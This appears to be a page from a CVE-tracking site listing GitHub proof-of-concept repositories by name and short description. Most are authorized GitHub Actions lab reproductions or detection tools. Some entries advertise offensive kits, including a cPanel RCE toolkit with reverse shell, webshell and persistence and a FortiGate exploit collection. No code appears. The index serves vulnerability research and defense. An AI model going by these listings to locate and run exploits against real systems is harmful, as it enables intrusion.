Authorized security-research reproduction of CVE-2025-54594 (GHSA-588g-38p4-gr6x): privileged issue_comment-triggered canary release workflow checking out untrusted fork code and running its npm scripts with GITHUB_TOKEN/NPM_TOKEN in env. Snapshot of callstackincubator/react-native-bottom-tabs @ d765b1f695762490327dcb8f6a2f17542cf0abdb.

PoC: CVE-2026-82329-poc

CVE-2026-82329 Poc

PoC: CVE-2025-34158-CVE-2020-5741

CVE-2025-34158, CVE-2020-5741 - Draft or TODO

PoC: gha-lab-ba981941f0

Security-research lab reproducing CVE-2025-54430 (GHSA-wrg3-xqw8-m85p): secrets exfiltration via issue_comment-triggered Benchmark Bot in dedupeio/dedupe. Snapshot of dedupeio/dedupe@54ecfe77d41390da66899596834a2bde3712c966.

PoC: gha-lab-f894926966

Authorized security-research reproduction lab for CVE-2025-54415 (GHSA-g5hx-xv45-9whg): astronomer/dag-factory snapshot at 464c75a — pull_request_target head-SHA checkout executes attacker-controlled hatch scripts in base-repo context

PoC: gha-lab-6926364d94

Security research lab reproducing CVE-2025-53546 (GHSA-h87r-5w74-qfm4): pull_request_target arbitrary code execution in RSSNext/Folo's auto-fix lint workflow — authorized, isolated reproduction

PoC: CVE-2025-8518

CVE-2025-8518 - Draft or TODO

PoC: gha-lab-3b0a828a69

Security-research lab reproducing CVE-2025-53104 (GHSA-432r-9455-7f9x): command injection in discussion-to-slack.yml of gluestack/gluestack-ui

PoC: gha-lab-e8902eccd3

Security research lab: reproduction of CVE-2025-52467 (pgai pull_request_target workflow code execution / GITHUB_TOKEN exfiltration) — snapshot of timescale/pgai

PoC: tomcatfileread

CVE-2020-1938 (Ghostcat) Tomcat AJP file read/file include PoC with python3 port

PoC: CVE-Chamilo-LMS

CVE-2026-61578, CVE-2026-61582, CVE-2026-61583, CVE-2026-61584, CVE-2026-61585, CVE-2026-61587, CVE-2026-61600, CVE-2026-61601, CVE-2026-61602, CVE-2026-70647, CVE-2026-70648 - Draft or TODO

PoC: gha-lab-2f775f277c

Authorized lab reproduction of CVE-2025-47928 (spotipy-dev/spotipy pull_request_target secrets exfiltration) — snapshot at vulnerable commit 4f5759d

PoC: CVE-2026-31787

Linux kernel double free in Xen privcmd driver

PoC: gha-lab-fb6df3d456

Authorized security-research lab reproducing CVE-2025-46820 (GHSA-cwj7-6v67-2cm4): GITHUB_TOKEN persisted into publicly downloadable CI artifacts in phpgt/Dom. Snapshot of phpgt/Dom @ b73d7e8.

PoC: CVE-2026-20212

CVE-2026-20212 - Draft or TODO

PoC: CVE-2026-56718

AJCloud AJY IPC Firmware Path Traversal via jdbhttpd

PoC: psa-2026-00043-recovery

Recovery notes for proxmox advisory ID: PSA-2026-00043-1 (CVE-2023-54391)

PoC: gha-lab-ba8e0c4217

Authorized security-research lab: reproduction of CVE-2024-42370 / GHSA-4hq2-rpgc-r8r7 (env injection in docs-preview.yml) — snapshot of litestar-org/litestar@18d84d84

PoC: CVE-2026-65643-PoC-Toolkit

🧰 CVE-2026-65643 – cPanel Domain Parking RCE Toolkit (CVSS 8.7) | Red/Blue Team suite for unpatched cPanel & WHM 11.x (110,134,136,138). 2 tools: Full Exploit (reverse shell, webshell, persistence, root passwd, file R/W, mass scan, Tor), Blue Team PoC (detection, reporting, audit). w/Python. 🦾 Only Use Ethically, Stay Legal <3

PoC: CVE-2026-4813

PoC for CVE-2026-4813

PoC: cve-2026-75604

Research lab and exploit chain for CVE-2026-75604: path traversal in the Next.js incremental cache, to RCE on Windows.

PoC: CVE-2026-82329

CVE‑2026‑82329 is a critical authentication bypass in JFrog Artifactory (CVSS 9.8) allowing unauthenticated attackers to obtain full administrative privileges. Actively exploited in the wild. Affects self‑hosted versions before patches. PoC for authorized testing only.

PoC: CVE-2026-52810

CVE-2026-52810 - Draft or TODO

PoC: iOS26.6-CVE-2026-64788

CVE-2026-64788 PoC — IOGPUFamily Use-After-Free (iOS 26.6 / 23G71)

PoC: CVE-2026-80428

CVE-2026-80428 PoC

PoC: iOS26.6-CVE-2026-65343

CVE-2026-65343 PoC — AppleKeyStore OOB read → KASLR defeat (iOS 26.6 / 23G71)

PoC: CVE-2026-80428

CVE-2026-80428 PoC

PoC: gha-lab-b1fe4918c0

Authorized security-research lab: reproduction of CVE-2025-32958 (GHSA-8c7v-vccv-cx4q) — GITHUB_TOKEN leaked into workflow artifacts by Adept's remoteBuild.yml (snapshot of AdeptLanguage/Adept @ 6a64554)

PoC: CVE-2026-83548-SonicWall-SMA1000-Analysis

Vulnerability Analysis of CVE-2026-83548 affecting SonicWall SMA1000 security systems.

PoC: CVE-2024-21546

This repository contains security assessment tooling, detection templates, and an automated exploit toolkit for identifying and exploiting Unauthenticated Remote Code Execution (RCE) in applications utilizing the `UniSharp/laravel-filemanager` package (Versions `< 2.9.1`).

PoC: CVE-2026-78071

Stored XSS via Location Title in DPCalendar Free

PoC: CVE-2026-78070

SQL Injection via ORDER BY Shortcode in plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2

PoC: CVE-2026-19949

CVE-2026-19949 - Draft or TODO

PoC: CVE-2026-59822

CVE-2026-59822 - Draft or TODO

PoC: struts2-tool

Struts2 S2-045/S2-046 CVE-2017-5638 detection & exploitation tool

PoC: gha-lab-becf103a54

Authorized security-research reproduction of CVE-2025-15617 (GHSA-6xqr-4q5g-xc7x): artipacked GITHUB_TOKEN leak in wazuh FIM Windows integration workflow artifacts

PoC: CVE-2025-9974

Proof of Concept code for the CVE-2025-9974 affecting Nokia Beacon routers.

PoC: tfo-connect-bypass

Bypassing connect()-based syscall rules using TCP Fast Open (CVE-2026-63828 PoC)

PoC: CVE-2026-38577-by-deepak-Anmol

CVE-2026-38577

PoC: gha-lab-23db52563c

Security-research lab: reproduction of CVE-2025-10894 (PR-title injection in GitHub Actions) — snapshot of nrwl/nx

PoC: CVE-2026-9335-keras-hdf5-externallink

CVE-2026-9335: KerasFileEditor and load_weights follow h5py ExternalLinks, disclosing arbitrary local HDF5 file contents in keras ≤ 3.14.0. Advisory + verified PoCs.

PoC: vsFTPd-2.3.4-Exploit

Python exploit for the vsFTPd 2.3.4 backdoor (CVE-2011-2523).

PoC: CVE-2026-73296

CVE-2026-73296

PoC: CVE-2026-19490

NetScaler ADC/Gateway SAML unsigned-assertion bypass via HTTP-Redirect binding (CTX696939) - root cause analysis + PoC

PoC: dast

CVE-2026-0828

PoC: SmarterMail-CVE-2026-24423-

Exploit for CVE-2026-24423 — a critical unauthenticated RCE in SmarterMail's ConnectToHub API. Affects all builds prior to 9511.

PoC: gha-lab-d9fd584b12

Authorized security-research lab reproducing CVE-2024-47179 (GHSL-2024-178): artifact-poisoning pwn-request chain in RSSHub docker-test workflows (snapshot at 574d053)

PoC: LAB1-metasploitable

Exploitation des vulnérabilités sur la version vsftpd 2.3.4 du service ftp (CVE-2011-2523)

PoC: CVE-2022-25765

CVE-2022-25765 | pdfkit v0.8.6 Python PoC

PoC: CVE-2026-7899

CVE-2026-7899 - Draft or TODO

PoC: gha-lab-6ab39df295

Controlled security-research lab reproducing CVE-2024-45798 (GHSA-h52q-xhg2-6jw8) in espressif/arduino-esp32 — poisoned-artifact pwn request via tests_results.yml workflow_run

PoC: CVE-2026-9586

CVE-2026-9586 - Draft or TODO

PoC: mojarra-2.2.13-patched

CVE-2020-6950 backport for legacy Mojarra 2.2.13

PoC: artifactory-CVE-2026-82329-poc.py

CVE-2026-82329 — JFrog Artifactory unauthenticated authentication bypass ("phantom join key" -> forged service admin token)

PoC: gha-lab-40e23db109

Security-research lab: controlled reproduction of CVE-2024-4254 (GHSA-fc78-c36r-cc59) — deploy-website.yml fork checkout/code execution in gradio-app/gradio @ d4c503a

PoC: root-s24-e1s

Galaxy S24 SM-S921B S921BXXSDCZB2 RAM-only KernelSU Next (CVE-2026-43499) + Root S24 app

PoC: CVE-2024-49138-SOC-Investigation

SOC investigation of CVE-2024-49138 exploitation involving brute-force activity, PowerShell execution, malicious payload analysis, privilege escalation, and incident response.

PoC: gha-lab-ee08e207a8

Authorized security-research lab reproducing CVE-2024-4253 (GHSA-r897-wrpm-h4vw): workflow_run command injection in gradio-app/gradio's test-functional.yml

PoC: CVE-2026-24061-Telnetd

CVE-2026-24061 GNU Inetutils Telnetd Authentication Bypass

PoC: Fortigate-SSL-VPN-Exploit-Kit

The FortiGate SSL-VPN pot of gold. CVE-2024-21762 and CVE-2023-27997. 79 working exploit clients. 53 hardware SKUs. 55 FortiOS builds.

PoC: CVE-2026-33017

CVE-2025-62593 — Ray Unauthenticated RCE Exploit is an unauthenticated remote code execution vulnerability in the Ray distributed AI compute engine.

PoC: CVE-2026-13753-poc

Poc of CVE-2026-13753

PoC: CVE-2026-82221

PoC for Unauthenticated Reflected Cross-Site Scripting (XSS) in RegistrationMagic WordPress Plugin

PoC: ActiveMQ-CVE-2023-46604

Exploit POC for Apache ActiveMQ CVE-2023-46604

PoC: gha-lab-0ba60e6456

Authorized security-research lab reproducing CVE-2024-39700 / GHSA-45gq-v5wm-82wg (JupyterLab extension-template update-integration-tests pwn request)

PoC: CVE-2026-36130

CVE-2026-36130

PoC: CVE-2026-31321

CVE-2026-31321

PoC: postgresql-cve-2026-14662

PostgreSQL の全文検索(tsvector/tsquery)に見つかった範囲外書き込み脆弱性 CVE-2026-14662 を、修正前(18.4)と修正後(18.6)を Docker で並べて動かして検証した記録と発表資料

PoC: CVE-2026-27472-and-CVE-2026-27474

PoC for CVE-2026-27472 and CVE-2026-27474

PoC: CVE-2026-27475

PoC for CVE-2026-27475

PoC: CVE-2026-18963

Unauthenticated account takeover via reset-credentials flow bypass

PoC: CVE-2026-0768

CVE-2026-0768 - Draft or TODO

PoC: CVE-2026-82329

CVE-2026-82329 - Draft or TODO

PoC: tomcat-line-check

CVE-2026-24880: does Apache's upgrade advice actually apply to your Tomcat? Detects the fix by class presence, not version comparison. Covers 7.0/8.0/8.5/9.0/10.0/10.1/11.0 lines.

PoC: tomcat85-check

CVE-2025-55752 CVE-2025-55754 CVE-2025-48988 CVE-2025-52520 CVE-2025-53506 CVE-2025-61795 CVE-2025-66614:Tomcat 8.5 已 EOL,终版 8.5.100。Apache 逐条声明「8.5 也受影响」的 2025 CVE 有 14 条,其中 10 条在 NVD 按 8.5.100 查不到。离线单 jar,读 conf/ 判断你到底中了哪几条。

PoC: log4j2-vuln-lab

CVE-2021-44228 (Log4Shell) 漏洞复现靶场 | SpringBoot + Log4j2 2.14.1 | 3 个攻击向量 PoC 验证

PoC: CVE-2021-3493-Exploit

It's a CVE-2021-3493 Exploit written in C

References

View on NVD Search GitHub Search Google

Get alerted for CVEs like this

Register your stack and get notified within minutes when a matching CVE drops.

Start monitoring free